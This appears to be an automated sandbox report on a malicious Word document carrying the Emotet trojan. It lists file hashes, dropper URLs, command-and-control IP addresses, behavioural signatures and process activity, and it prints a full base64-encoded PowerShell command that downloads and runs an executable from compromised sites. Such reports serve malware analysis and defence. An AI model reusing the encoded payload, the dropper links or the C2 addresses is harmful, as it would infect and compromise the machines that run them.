Analysis

  • max time kernel
    36s
  • max time network
    43s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-07-2020 19:43

General

  • Target

    b105933e62e186035b0f3eaa758586b1a687bbac059e4e6c44d413844504502e.doc

  • Size

    191KB

  • MD5

    b39e7ec8e254b036cf37a2b29c9d2b59

  • SHA1

    25535ca7440f7df72121d9791752f1e4afd6bfb5

  • SHA256

    b105933e62e186035b0f3eaa758586b1a687bbac059e4e6c44d413844504502e

  • SHA512

    1b141ff670cc8553d849c66f8be2e9f9ea65dec424071983587a07673cbcda444a9f89a574ff4e2c5bd713f5e1b1ef562b25d80ebe13e5480adeaa092ad5f7c4

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://fivestarcleanerstx.com/wp-content/mu-plugins/2CLid868/

exe.dropper

https://bhandaraexpress.com/wp-includes/0Iw2jW2/

exe.dropper

http://crm.shaayanpharma.com/application/ffltO/

exe.dropper

http://zazabajouk.com/cf9r4nd/Xsma350581/

exe.dropper

https://e2e-solution.com/sandbox/Sv2880/

Extracted

Family

emotet

C2

177.144.135.2:80

104.247.221.104:443

201.213.32.59:80

190.147.137.153:443

178.79.163.131:8080

190.17.195.202:80

212.71.237.140:8080

68.183.190.199:8080

12.162.84.2:8080

186.250.52.226:8080

181.129.96.162:8080

185.94.252.12:80

77.55.211.77:8080

177.72.13.80:80

70.32.115.157:8080

114.109.179.60:80

68.183.170.114:8080

5.196.35.138:7080

87.106.46.107:8080

190.163.1.31:8080

rsa_pubkey.plain

Signatures

  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b105933e62e186035b0f3eaa758586b1a687bbac059e4e6c44d413844504502e.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB4AGEAbwB4AD0AJwBoAGkAZgBmAGEAbwB6AHcAaQBhAHoAagBpAGEAcgBoAG8AbwB5AHYAdQB1AHoAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwB1AGAAUgBpAFQAWQBQAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAeABpAGUAegBqAGEAdQB4AHMAaQBvAG4AcABlAGEAZgB3AG8AaQB6AGcAYQBpAGIAIAA9ACAAJwA5ADgAOAAnADsAJAB2AHUAdgBjAGUAdQB5AGoAdQB0AGgAZgBlAG8AegByAGEAdgB0AG8AaAA9ACcAagBvAG8AeAB0AGgAZQB1AHoAZABhAGkAdABsAGUAaQBrACcAOwAkAGYAaQBvAGQAZwBhAGkAcwBmAGUAYQBnAGYAaQBvAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHgAaQBlAHoAagBhAHUAeABzAGkAbwBuAHAAZQBhAGYAdwBvAGkAegBnAGEAaQBiACsAJwAuAGUAeABlACcAOwAkAGMAaABhAHUAZAA9ACcAcgBhAHMAbABhAHYAeQBlAGkAawBtAGUAcgByAGEAZQB0ACcAOwAkAGoAdQBhAGMAZgBvAHgAdABoAGEAbwBiAD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAEMATABJAGUAbgB0ADsAJABnAG8AdQB0AGgAdgBhAHUAawBtAG8AYQBuAGcAbwB1AHgAcgB1AGEAbgBrAG8AdQB3AD0AJwBoAHQAdABwADoALwAvAGYAaQB2AGUAcwB0AGEAcgBjAGwAZQBhAG4AZQByAHMAdAB4AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC0AcABsAHUAZwBpAG4AcwAvADIAQwBMAGkAZAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAGIAaABhAG4AZABhAHIAYQBlAHgAcAByAGUAcwBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAEkAdwAyAGoAVwAyAC8AKgBoAHQAdABwADoALwAvAGMAcgBtAC4AcwBoAGEAYQB5AGEAbgBwAGgAYQByAG0AYQAuAGMAbwBtAC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AZgBmAGwAdABPAC8AKgBoAHQAdABwADoALwAvAHoAYQB6AGEAYgBhAGoAbwB1AGsALgBjAG8AbQAvAGMAZgA5AHIANABuAGQALwBYAHMAbQBhADMANQAwADUAOAAxAC8AKgBoAHQAdABwAHMAOgAvAC8AZQAyAGUALQBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAHMAYQBuAGQAYgBvAHgALwBTAHYAMgA4ADgAMAAvACcALgAiAHMAUABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbABlAHUAZAB0AGgAYQBvAGYAZwBlAGUAcgA9ACcAeQBlAGEAeQBsAHUAYQBnAGMAaABvAHUAYwBkAGkAYQBqAGoAdQBjAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBlAG0AIABpAG4AIAAkAGcAbwB1AHQAaAB2AGEAdQBrAG0AbwBhAG4AZwBvAHUAeAByAHUAYQBuAGsAbwB1AHcAKQB7AHQAcgB5AHsAJABqAHUAYQBjAGYAbwB4AHQAaABhAG8AYgAuACIARABPAGAAVwBOAEwAbwBBAEQAYABGAEkAbABFACIAKAAkAGIAbwBlAG0ALAAgACQAZgBpAG8AZABnAGEAaQBzAGYAZQBhAGcAZgBpAG8AdAApADsAJABnAGUAZQBjAHcAZQBmAHoAbwB1AHkAPQAnAGoAdQBuAG0AbwBpAGYAeQBhAG8AegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAGYAaQBvAGQAZwBhAGkAcwBmAGUAYQBnAGYAaQBvAHQAKQAuACIATABFAE4ARwBgAFQASAAiACAALQBnAGUAIAAzADkAMAA5ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBFAGAAQQB0AGUAIgAoACQAZgBpAG8AZABnAGEAaQBzAGYAZQBhAGcAZgBpAG8AdAApADsAJAB2AHUAdQBwAHQAaABpAGEAdgBmAGUAbwB5AD0AJwBoAG8AdQBxAHUAJwA7AGIAcgBlAGEAawA7ACQAYwBoAG8AaQBtAHoAaQBhAHQAcgBvAHUAcwByAG8AdQB3AG0AaQBlAGsAbgBlAGkAcQB1AD0AJwByAG8AYQBoAGMAaAB1AGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYgBhAHUAZAB3AGkAbABoAGkAYQBuAD0AJwB4AHUAdQB3ACcA
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1784
  • C:\Users\Admin\988.exe
    C:\Users\Admin\988.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Windows\SysWOW64\msrating\wksprtPS.exe
      "C:\Windows\SysWOW64\msrating\wksprtPS.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1944

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/564-10-0x00000000003E0000-0x00000000003EC000-memory.dmp

    Filesize

    48KB

  • memory/1432-0-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/1432-2-0x0000000008A80000-0x0000000008A84000-memory.dmp

    Filesize

    16KB

  • memory/1432-5-0x000000000ADA0000-0x000000000ADA4000-memory.dmp

    Filesize

    16KB

  • memory/1432-6-0x000000000BE20000-0x000000000BE24000-memory.dmp

    Filesize

    16KB

  • memory/1944-13-0x00000000002F0000-0x00000000002FC000-memory.dmp

    Filesize

    48KB